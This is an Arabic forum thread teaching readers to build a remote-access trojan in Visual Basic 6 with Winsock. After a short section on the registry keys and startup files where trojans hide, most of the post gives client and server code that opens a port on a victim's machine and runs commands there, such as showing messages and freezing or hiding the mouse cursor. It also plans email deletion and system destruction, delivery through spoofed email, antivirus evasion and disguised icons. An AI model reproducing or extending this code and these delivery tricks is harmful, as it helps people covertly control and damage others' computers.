التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. عـالم أنظمـة التشغيـل ومستلزماتها .:: ] > قـسـم بـرامج الحاسوب ومستلزماتها

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 12-21-2010, 08:58 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
نسر اللاذقيةِ
زائـــر
 
الصورة الرمزية نسر اللاذقيةِ
 

 

 
إحصائية العضو




 

 

افتراضي عالم التروجانات و كل شيء عنه


عالم التروجانات و كل شيء عنه
السلام عليكم شباب سنبدأ اليوم بشرح موضوع طويل يتضمن الأقسام التالية
و التي تأتي على شكل اسئلة و أجوبة:
ما هي التروجانات؟!
أين تختبىء التروجانات داخل نظامنا
ما وسائل الحماية منها
ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات
ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم
كيف تبني تروجانك الخاص بواسطة لغات البرمجة المختلفة؟
كيف تبث هذا التروجان إلى أصدقاءك و تقوم بتشفيرها؟
بسم الله نبدأ
ما هي التروجانات؟؟
التروجانات أو بالعربية أحصنة طروادى هي عبارة عن برامج صغيرة يتم بثها
إلى الخصم للحصول منه على معلومات أو لإزعاجه و ذلك عندما يكون متصلاً
بالانترنت, و قد تطورت هذه التروجانات و إضيف لها نظام الkey Logger
و الذي يمكننا من خلاله الحصول على كل ضربات أزرار لوحة المفاتيح
ثم بثها إلى عنوان معين
و للتروجانات دائماً نظامان عمل إما استقبل المعلومات من المقتحم و ينفيذها داخل
جهاز الخصم و إما استقبال المعلومات من المقتحم و إعادة بث ما يطلبه إليه
و بهذه الطريقة عادة يتم بث الكوكيز الخاص بالمنتدى أو البريد الالكتروني ثم الدخول إليه
و هذه العملية عادة يتم كشفها بواسطة برامج مكافحة التروجانات
إلا إذا قمت ببناء هذا التروحان بنفسك و هذا ما سنقوم بتعلمه في المراحل القادمة
مع تعلم الطريقة الأساسية لضرب برامج مكافحة التروجانات المشهورة حتى لا تكتشف أي تلاعب
لذلك ما الاحظه أن برامج مكافحة التروجانات الغير مشهورة أقوى من المشهورة....

أين تختبئ التروجانات.. تعال و شوف
السلام عليكم
يتعتقد الجميع بأن التروجانات تتجه مباشرة إلى المسار التالي داخل الريجستري
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Run]
و هذا أمر خاطئ حيث يمكن أن تختبئ هذه التروجانات في أحدى المسارات التالية:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\RunOnce]
و هذه العنواوين يتم تنفيذها عادة مع كل تشغيل للجهاز
ملاحظة قد لا تجد البرنامج بصيغة exe إنما يكون متبوعا بالرمو التالي%1 %*".
عليك البحث أيضا عن ملفات أخرى داخل هذه المسارات من الريجستري
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell
\open\command]
أو يمكن أيضاً أن تختبئ التروجانات في مجلد بدء التشغيل
و للوصول إلى هذا الملف عليك الذهاب إلى الذهاب إلى قائمة ابدأ ثم برامج ثم بدء التشغيل
ثم الضغط عليه بالزر الأيمن و اختيار الأمر فتح ثم التحقق من كل مجلد أو ملف داخل الدليل
السابق لأن كل الملفات و المجلدات الموجودة داخل هذا الملف يتم تشغيلها
بشكل تلقائي عند بدء تشغيل الجهاز..
يمكن أيضاً أن تختبئ التروجانات داخل الملف Win.ini عليك البحث داخل هذا الملف عن
توابع مثل run أو load فإن وجدت أن أسم + مسار البرنامج غريبا عليك
فأغلب الظن أنه تروجان
يمكن أيضاً أن تختبئ التروجانات داخل الملف system.ini عليك البحث داخل هذا الملف عن
توابع مثل shellفإن وجدت أن أسم + مسار البرنامج غريبا عليك
فأغلب الظن أنه تروجان لعين
أو يمكن أيضا أن يكون داخل الملف autoexec.bat قم بتحرير هذا الملف و قم بالبحث عن الملفات الغريبة
و التي تنتهي بإمتدادات مثل .exe, .scr, .pif, .com, .bat
أو داخل الملف config.sys
_ أحيانا يمكن أن يلجأ مبرمج التروجانات إلى استخدام تقنية الأسماء المتشابة
فكلنا نعرف الملف command.com قد يلجأ المبرمج إلى وضع ملف له أسم command.exe
بحيث لا يلاحظ من يبحث عن الملف الهدف وجود تغير
أو يمكن حتى أن تجد ملف له الاسم نفسه مع الامتداد نفسه لكن في مجلد آخر..
و لحل هذه المشكلة يمكنك استخدام Windows Task Manager لتدقيق ملفات الويندوز الاساسية
ما هي وسائل الحماية من التروجانات؟؟!!
وسائل الحماية منها كثيرة و متعددة و كما يقال الوقاية خير من العلاج
لأن الملفات التي تلتصق بها التروجانات لا توجد إلا في المواقع الغير رسمية
كمواقع الكراكات و المواقع الاباحية أو التي يتم بثها إلى البريد الالكتروني
أو عبر برامج المحادثة.. لذا حاول قدر الإمكان الابتعاد عن مثل هذه المناطق...
كما توجد العديد من البرامج مثل الpc cilin و الzone Alarm و الtrojan Remover...متخصصة
بازالة مثل هذه الملفات من جهازك..
كما يمكنك بطريقة manual حذف هذا الملف بعد البحث عنه بالطرق السابقة التي ذكرناها

ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم؟؟
هناك موضوع مثبت عن طرق الحصول على الIP يمكنك الاستفادة منها
المبدأ العامل للاتصال:
في اللحظة التي تقوم بها بعمل اتصال تقوم ببث عدة أشياء
و هي كالتالي:
اسم المستخدم,تاريخ ووقت الاتصال,البروكسي,منفذ الاتصال, عنوان الموقع
و البروكسي يقوم هنا بدور بوابة بينك و بين IP الموقع الذي تقوم بالاتصال معه..
المنافد:
إذا فرضا مثلا أن كل جهاز متصل بالعالم هو عبارة عن منزل
فما هي الطريقة التي يمكننا الدخول إلى هذا المنزل هي هنا المفتاح أي المنفذ
و الذي من خلاله يمكننا الدخول إلى أي جهاز دون مشاكل تذكر و خاصة لو قمنا
بتسكير خاصية عمل برامج مكافحة التروجانات...
كيف يتم فتح هذه المنافذ عند الخضم؟؟!!
بواسطة التروجان طبعا و الذي سنقوم ببرمجته قريبا جدا
و سنحاول أيضا برمجة تروجان نافع ليستطيع الشخص أن يتصل بالصوت و الصورة
إلى أي مكان دون استخدام البروكسي أصلاً
دمتم بخير و السلام عليكم.
يتبع... نتابع هذه الاسئلة مع أني استغرب عدم وجود أي رد!!!!
ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات؟؟
عليك قبل التفكير ببناء أحد التروجانات معرفة أحد الأمور المهمة التالية

1- معرفة جيدة بالريجستري
2- معرفة إحدى لغات البرمجة و ليس من الضروري هنا أن تكون لغة معقدة
3- معرفة جيدة بتوابع الAPI و التي من خلالها نستطيع التحكم بالنظام بشكل كامل
4- معرفة وسائل بث هذا التروجان و طرق التمويه و تشفيره

الريجستري :
هو عبارة عن قاعدة بيانات يتم من خلالها حفظ القيم التي يتم استدعاءها لحظيا
أثناء تشغيل بعض البرامج ..
لغات البرمجة:
سنقوم ببرمجة هذا التروجان بعون الله باستخدام لغة برمجة سهلة و مفهومة
مثل لغة الفيجوال بيسك , بالإضافة إلى استخدام بعض عناصر الocx التي يمكننا من خلالها
الاتصال بشبكة الانترنت و بث المعلومات إلى الجهاز الآخر
توابع الAPI:
باستخدام هذه التوابع نستطيع التحكم بجهاز الخضم بشكل كامل وهذه التوابع موجودة بكل
لغات البرمجة بداً من الفيجوال بيسك إلى الفيجوال سي++ إلى إلى ...
و نستطيع أيضاً من خلال هذه التوابع الاتصال بالريجستري أو تغير قيمها
وسائل بث التروجان:
تتم عادة بث التروجانات عبر البريد الالكتروني أو الماسنجر
لذلك سننتعلم أيضا كيف نقوم ببث البريد الالكتروني + تغير عنوان الذي ارسله
فمثلا نقوم ببث الرسالة على أنها رسالة من موقع مشهور مثل مكتوب و نقوم بتحميل
التروجان داخلها.

بناء التروجان:
قبل كل شيء شباب علينا أن نتفق على الأمور التالية:
1- عدم استخدام هذا التروجان على أي مسلم و أخذ الموضوع على
أنه علم في سبيل العلم فقط
2- ما هي مدى خطورة هذا التروجان أي ماهي الأمور التي سنبرمجها لتقع على الخصم
و قد لخصت هذه الأشياء بالأمور التالية
و هي متسلسلة حسب الخطورة و على الأعضاء إختيار ما يناسبهم منها:
1- ارسال رسائل مزعجة إلى الخصم دون أن يدري
2- إخفاء أو تلاعب بمؤشر الفأرة
3- التلاعب بارتعاش الشاشة و بعض الاشياء
4- التلاعب أو تشغيل برامج أو إغلاق برامج
5- قراءة أو حذف البريد الالكتروني
6- تخريب ملفات النظام الاساسية
7- تخريب الهارد وير
سنتحدث اليوم عن الActiveX التي سنقوم باستخدامها
لربط الأجهزة مع بعضها و هي الMicrosoft Winsock Control 6
و طريقة استدعاء هذا العنصر ضمن الفيجوال بيسك تتم بالطريقة التالية:
أولا: إذهب إلى الTool Bar الموجودة في يسار الشاشة ثم إضغط بالزر الأيمن
للفأرة ستظهر لك قائمة منسدلة قم باختيار components كما في الشكل التالي:

2- ستظهر لك الآن قائمة قم بوضع إشارة صح (check) على العنصر Microsoft Winsock Control 6
ثم إضغط على زر OK ستلاحظ بأن هناك أداة صغير لها شكل جهازي كمبيوتر متصلين
ببعضهما قد زادت عندك.
قم بعمل ضغطتين متتاليين عليها حتى يتم وضعها على الفورم الخاصة بك... 3
ثانيا:الآن قم بإضافة زر command1 بحيث يكون caption=فهم توابع هذا العنصر
ثم نقوم بكتابة الكود التالي(داخل الزر) و الذي من خلاله سنعرف بعض خصائص الشبكة عندنا:
code:
________________________________________

MsgBox "رقم الآي بي الخاص بالجهاز " & Winsock1.LocalIP
MsgBox "اسم الهوست " & Winsock1.LocalHostName
MsgBox "رقم المنفذ الخاص بجهازك " & Winsock1.LocalPort
________________________________________

الآن هاكم التوابع التي سنستخدمها بعمل الاتصال مع شرح كل واحدة منها:

ثالثا: حالة الاتصال :
Winsock1.Connect
البرامترات التابعة
1- رقم الآي بي بالجهاز الخصم
2- رقم المنفذ الذي تقوم بالتجسس عليه
و لتطبيقة بالطريقة التالية:
[code]
Winsock1.Connect(ip,Port)
[\code]

حالة الحصول على بيانات ( إستلام بيانات من الكلينت)
Winsock1.GetData
البرامترات التابعة:
1- البيانات القادمة
2- نوعها
3- طول نبضة البث
و لتطبيقة بالطريقة التالية:
[code]
Winsock1.GetData(data,type,maxlen)
[\code]

حالة الاستماع إلى المنفذ الذي قمنا بفتحه في جهاز الخصم:
Winsock1.Listen
- لا يوجد لها بارمترات تابعة

فتح منفذ(port) في جهاز الخصم
Winsock1.LocalPort
بارامترات التابعة هي تحديد رقم هذا المنفذ على سبيل المثال نريد أن نفتح المنفذ 1232
فنكتب بهذه الحالة الكود التالي:
[code]
Winsock1.LocalPort=1232
[\code]

تحديد نو البرتوكول المستخدم في الاتصال:
Winsock1.Protocol
البرامترات الملحقة هي تحديد نوع البرتوكول أي إما TCP أو UDP
و لكتابة هذا الكود نضيف إشارة يساوي بعد Winsock1.Protocol فيظهر لنا خياران على الشاشة
نختار ما يناسبنا منها و نحن هنا نقوم باختيار sckTCPProtocol

حالة إرسال البيانات:
Winsock1.SendData
البرامترات الملحقة هي فقط هنا البينات وهي من النمط string
أي لكتابة الكود الذي سنقوم به ببث تعليمة أسمها مثلاً lala نكتب
[code]
Winsock1.SendData"lala"
[\code]
آلية العمل
الية العمل أخي العزيز بسيطة و غير معقدة كما يتصور البعض
حيث نقوم اولا بفتح منفذ عند الخضم بواسطة ملف الserver ثم نقوم بتحديد برتروكول الاتصال
ثم نقوم بعمل إتصال بواسطة رقم الآبي + رقم المنفذ المفتوح عند الخصم
ثم نقوم ببث البيانات التي نريدها إلى جهاز الخصم الذي يقوم بدوره باستقبال
هذه البيانات و تنفيذ المطلوب عمله في جهاز الخصم من خلال البيانات المرسلة
دمتم بخير و السلام عليكم
يتبع...
تطبيق المشروع + شروح عملية كاملة....
سنبدأ بإرسال رسائل إلى المستخدم
اولا كلنا نعرف بأن التروجان هو عبارة عن ملفين الأول عندك و الثاني عند الخصم
سنبدأ الآن بتشكيل الملف الذي سيبقى عندك و هو الcelint
نفتح مشروعاً جديداً و نضيف 2 text و lebel واحد و ثلاث أزرار و نغير عناوين هذه الأزرار
لتصبح كالتالي:
name=command1:caption=اتصال
name=command2:caption=قطع اتصال
name=command3:caption=ارسل رسالة
الآن داخل الزر الأول نقوم بكتابة الكود التالي:
code:
________________________________________

Command1.Enabled = False
Label1.Caption = "جاري الاتصال"
Winsock1.Connect Text1.Text, 1234
________________________________________

شرحه:
السطر الأول لإلغاء تفعيل الزر الأول حتى لا تقوم المتصل بطلب إتصال آخر وقت الاتصال
السطر الثاني لتغير عنوان صندوق العنواوين إلى جاري الاتصال
السطر الثالث للإتصال مع Ip معين نكتبه داخل الtext1 و رقم المنفذ المفتوح عند الخصم
و الذي سنقوم بفتحه عنده و ليكن المنفذ رقم 1234

الآن داخل الزر الثاني نكتب الكود التالي:
code:
________________________________________

Command1.Enabled = True
Label1.Caption = "تم قطع الاتصال"
Winsock1.Close
________________________________________

شرحه:
السطر الأول لإعادة تفعيل الزر الأول أي زر الاتصال
السطر الثاني لتغير صندوق العناوين إلى ( تم قطع الاتصال )
السطر الثالث لإغلاق الإتصال مع الجهاز الخصم
الآن داخل الزر الثالث نكتب الكود التالي:
code:
________________________________________

Winsock1.SendData "msg" & Text2.Text
________________________________________

شرحه:
يقوم السطر السابق بارسال بيان كتابي هو msg و الذي سنرمزه في جهاز الخصم على أنه رسالة
ثم & الكلام المكتوب داخل الصندوق text2 ليتم ارسال رسالة بما بداخلها

الآن نقوم بالضغط على الwinsock و التي تعلمنا إضافتها في الدرس السابق
ثم نقكتب داخل الحدث connect الكود التالي:
code:
________________________________________

Label1.Caption = "تم عملية الاتصال بالجهاز الآخر"
________________________________________

شرحه:
السطر السابق يحدث عندما يتم الاتصال مع الجهاز الخصم و عندها يتم تغير
صندوق العناوينl abelcaption لى ( تم عملية الاتصال بالجهاز الآخر )
نرتب الأزار لتصبح موافقة للصورة المرفقة

الآن ننتقل إلى السيرفر و التي سنقوم بارسالها إلى جهاز الخصم
نقوم بفتح مشروع جديد
الآن نقوم كالعادة بإضافة أداة الإتصال winsock
ثم نكتب داخل الفورم load الكود التالي:
code:
________________________________________

Winsock1.LocalPort = 1234
Winsock1.Listen
________________________________________

شرحه:
يقوم السطر الأول بفتح منفذ في جهاز الخصم و هو هنا 1234
أما السطر الثاني فهو لبدء أخذ معلومات كن هذا المنفذ

الآن داخل الwinsock ضمن الحدث ConnectionRequest نقوم بكتابة الكود التالي:
code:
________________________________________

Winsock1.Close
Winsock1.Accept requestID
________________________________________

شرحه:
السطر الأول لإغلاق الاتصال و الثاني لقبول البيانات القادمة من الكلينت

الآن داخل الحدث DataArrival نكتب الكود التالي:
code:
________________________________________

Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
Winsock1.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
________________________________________

السطر السابق يتضمن تعاريف للبيانات القادمة
و السطر الأخير هو للتابع الذي سنضيفه إلى الmodule

الآن عند الحدث Error أي حدث حدوث خطأ بالاتصال نكتب الكود التالي:
code:
________________________________________

Winsock1.Close
Winsock1.Listen
________________________________________

شرحه:
السطر الأول لإغلاق الاتصال
السطر الثاني لإعادة أخذ البيانات القادمة من الكلينت
- الآن نقوم بإضافة module من قائمة project ثم نقوم بإنشاء تابع على الشكل التالي:
code:
________________________________________

Public Function DoCommand(command As String, data As String)
________________________________________

ثم نقوم بإنشاء حالات عن البيانات القادمة ( سنضيف ما نريد فيما بعد) و ذلك بإضافة
الكود التالي:
code:
________________________________________

Select Case LCase(command)
________________________________________

نضيف الآن حالة وصول البيان الذي يحمل البتتات msg و التي سنعرفها هنا على أنها msgbox
و نكتب الكود التالي:
code:
________________________________________

Case "msg"
MsgBox data, vbInformation, "Information"
________________________________________

السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلى المستخدم يحوي على البيانات المكتوبة ضمن الtext2 في الكلينت
ثم نضيف الكود التالي لأنهاء الحالات
code:
________________________________________

End Select
________________________________________

و ننهي هذا التابع كالعادة بالتعليمة
code:
________________________________________

End Function
________________________________________

- بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريب عليه
دمتم بخير و السلام عليكم
يتبع بقية الخيارات.....
السلام عليكم نتابع معاً
الخطوات التي اتفقنا عليها
نفتح المشروع السابق لنضيف له خيارات جديدة و هي التي تتعلق بمؤشر الفأرة
و سنتسخدم في هذا الدرس التوابع الجديدة التالية:
SetCursorPos:
يمكننا من خلالها تغير و تحديد مكان جديد لمؤشر الفأرة عند جهاز الخصم
SetDoubleClickTime:
يمكننا من خلال هذا التابع إنقاص الفترة الزمنية للضغط على المؤشر بحيث
لا يتمكن المستخدم من عمل ضغتطين متتاليتين على الفأرة
ShowCursor:
لأظهار وإخفاء مؤشر الفأرة
نقوم في المشروع السابق( الكليت) بإضافة ثلاث أزار جديدة لتأخذ الترتيب من 4 إلى 7
و قم بتغير عناوينها للتالي:
name=command4:caption=جمد مؤشر الفأرة
name=command5:caption=زد سرعة ضربات الفأرة
name=command6:caption=قم بإخفاء مؤشر الفأرة
name=command7:caption=قم بإظهار مؤشر الفأرة
نقوم الآن بارسال رموز نمط string إلى جهاز الخصم ثم نقوم في الملف الثاني
بترجمة هذه الرموز
نكتب داخل الزر الرابع الكود التالي:
code:
________________________________________

Private Sub Command4_Click()
Winsock1.SendData "frz"
End Sub
________________________________________

و الخامس:
code:
________________________________________

Private Sub Command5_Click()
Winsock1.SendData "sss"
End Sub
________________________________________

و السادس:
code:
________________________________________

Private Sub Command6_Click()
Winsock1.SendData "hid"
End Sub
________________________________________

و السابع:
code:
________________________________________

Private Sub Command7_Click()
Winsock1.SendData "sho"
End Sub
________________________________________

و لقد انتهينا الآن من ملف الكينت ننتقل الآن إلى ملف السيرفر في جهاز الخصم
و نقوم بفتح المشروع السابق و نضيف عليه التوابع التي قمنا بشرحها سابقاً
( من قائمة add-ins ثم api Viewer)
ثم نقوم بالدخول إلى الmodule الخاصة بنا و نضع تصاريح التوابع في قسم التصريحات العامة:
أي :
code:
________________________________________

Public Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Function SetDoubleClickTime Lib "user32" Alias "SetDoubleClickTime" (ByVal wCount As Long) As Long
Public Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
________________________________________

ثم نعرف ثلاث متحولات نمط srting تعبر عن التابع على النحو التالي:
code:
________________________________________

Dim setcursor As String
Dim clickTime As String
Dim show As String
________________________________________

ثم نقوم بإضافة حالات البيانات المرمزة القادمة :
code:
________________________________________

Case "frz"
setcursor = SetCursorPos(50, 50)
Case "sss"
clickTime = SetDoubleClickTime(50)
Case "hid"
show = ShowCursor(0)
Case "sho"
show = ShowCursor(1)
________________________________________

كخطوة نهائية نقوم بإخفاء الفورم و تغير الicon إلى شكل صورة ما
يمكنكم تحميل هذا المثال كاملاً أي الشيفرة المصدرية من الملف المرفق
ملاحظة يمكنك أن تجرب إقتحام نفسك فتح الملف السيرفر اولاً ثم ضع الآي بي 127.0.0.1
ملف مرفق: hado trojan.zip




uhgl hgjv,[hkhj , ;g adx uki

   

رد مع اقتباس
قديم 01-08-2011, 10:31 PM   رقم المشاركة : 2 (permalink)
معلومات العضو
ifrani
زائـــر
 
الصورة الرمزية ifrani
 

 

 
إحصائية العضو




 

 

افتراضي


مشكووررر خيو

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 06:19 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0